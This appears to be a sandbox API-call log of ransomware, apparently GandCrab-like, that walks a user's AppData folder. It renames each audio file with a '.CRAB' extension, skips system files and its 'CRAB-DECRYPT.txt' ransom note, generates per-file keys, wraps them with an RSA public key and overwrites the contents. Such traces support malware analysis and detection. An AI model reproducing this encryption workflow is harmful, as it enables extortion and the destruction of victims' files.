	[0124.260] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.261] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.261] CloseHandle (hObject=0x3ec) returned 1
	[0124.261] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.261] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.262] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.262] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.262] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.262] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.262] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.263] lstrcmpW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2=".") returned 1
	[0124.263] lstrcmpW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="..") returned 1
	[0124.263] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="vP8hh9nKFzaGoMthz.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a"
	[0124.263] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.263] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a") returned 59
	[0124.263] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a") returned 59
	[0124.263] lstrlenW (lpString=".m4a") returned 4
	[0124.263] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.263] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0124.263] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.264] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a") returned 59
	[0124.264] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a") returned 59
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="desktop.ini") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="autorun.inf") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="ntuser.dat") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="iconcache.db") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="bootsect.bak") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="boot.ini") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="ntuser.dat.log") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="thumbs.db") returned 1
	[0124.264] lstrcmpiW (lpString1="vP8hh9nKFzaGoMthz.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.264] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.265] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB") returned 64
	[0124.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\vp8hh9nkfzagomthz.m4a")) returned 0x20
	[0124.265] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a", dwFileAttributes=0x20) returned 1
	[0124.265] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\vp8hh9nkfzagomthz.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\vp8hh9nkfzagomthz.m4a.crab")) returned 1
	[0124.266] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.267] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB"
	[0124.267] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB.CRAB"
	[0124.267] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0124.268] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.268] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.268] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.268] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.268] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0124.268] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.269] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0124.269] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.270] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.270] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.270] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.270] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.270] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.270] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.271] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0124.271] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31662e0) returned 1
	[0124.271] CryptGetKeyParam (in: hKey=0x31662e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.271] CryptEncrypt (in: hKey=0x31662e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.272] GetLastError () returned 0x0
	[0124.272] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.272] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0124.272] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31665a0) returned 1
	[0124.273] CryptGetKeyParam (in: hKey=0x31665a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.273] CryptEncrypt (in: hKey=0x31665a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.273] GetLastError () returned 0x0
	[0124.273] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.273] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\vP8hh9nKFzaGoMthz.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\vp8hh9nkfzagomthz.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.274] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.274] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.274] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0xbeb, lpOverlapped=0x0) returned 1
	[0124.287] VirtualAlloc (lpAddress=0x0, dwSize=0xbf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.287] VirtualAlloc (lpAddress=0x0, dwSize=0xbf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.287] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.288] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffff415, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.288] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0xbf0, lpOverlapped=0x0) returned 1
	[0124.288] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.288] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.292] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.293] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.293] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.293] CloseHandle (hObject=0x3ec) returned 1
	[0124.293] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.293] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.293] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.294] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.294] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.294] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.294] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.294] lstrcmpW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2=".") returned 1
	[0124.294] lstrcmpW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="..") returned 1
	[0124.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="WgMk6d82qig-ExDOCd.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav"
	[0124.295] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.295] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav") returned 60
	[0124.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav") returned 60
	[0124.295] lstrlenW (lpString=".wav") returned 4
	[0124.295] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.295] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0124.295] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.296] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav") returned 60
	[0124.296] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav") returned 60
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="desktop.ini") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="autorun.inf") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="ntuser.dat") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="iconcache.db") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="bootsect.bak") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="boot.ini") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="ntuser.dat.log") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="thumbs.db") returned 1
	[0124.296] lstrcmpiW (lpString1="WgMk6d82qig-ExDOCd.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.296] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.296] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB") returned 65
	[0124.296] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wgmk6d82qig-exdocd.wav")) returned 0x20
	[0124.297] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav", dwFileAttributes=0x20) returned 1
	[0124.297] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wgmk6d82qig-exdocd.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wgmk6d82qig-exdocd.wav.crab")) returned 1
	[0124.298] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.298] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB"
	[0124.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB.CRAB"
	[0124.298] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.299] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.299] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.299] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.299] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.299] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.300] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.300] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.300] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.301] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.301] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.301] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.301] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.301] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.301] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.302] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0124.302] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31664e0) returned 1
	[0124.302] CryptGetKeyParam (in: hKey=0x31664e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.302] CryptEncrypt (in: hKey=0x31664e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.303] GetLastError () returned 0x0
	[0124.303] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.303] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0124.303] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166360) returned 1
	[0124.303] CryptGetKeyParam (in: hKey=0x3166360, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.303] CryptEncrypt (in: hKey=0x3166360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.304] GetLastError () returned 0x0
	[0124.304] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.304] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\WgMk6d82qig-ExDOCd.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\wgmk6d82qig-exdocd.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.304] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.305] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.305] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x9c01, lpOverlapped=0x0) returned 1
	[0124.318] VirtualAlloc (lpAddress=0x0, dwSize=0x9c10, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.319] VirtualAlloc (lpAddress=0x0, dwSize=0x9c10, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.320] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.320] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff63ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.320] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x9c10, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x9c10, lpOverlapped=0x0) returned 1
	[0124.321] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.321] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.326] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.326] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.327] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.327] CloseHandle (hObject=0x3ec) returned 1
	[0124.327] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.327] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.327] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.327] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.328] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.328] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.328] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.328] lstrcmpW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2=".") returned 1
	[0124.328] lstrcmpW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="..") returned 1
	[0124.328] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="wWRbxbuPycLCx9nPPST.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3"
	[0124.328] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.329] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3") returned 61
	[0124.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3") returned 61
	[0124.329] lstrlenW (lpString=".mp3") returned 4
	[0124.329] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.329] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0124.329] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3") returned 61
	[0124.329] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\wWRbxbuPycLCx9nPPST.mp3") returned 61
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="desktop.ini") returned 1
	[0124.330] lstrcmpiW (lpString1="wWRbxbuPycLCx9nPPST.mp3", lpString2="autorun.inf") returned 1
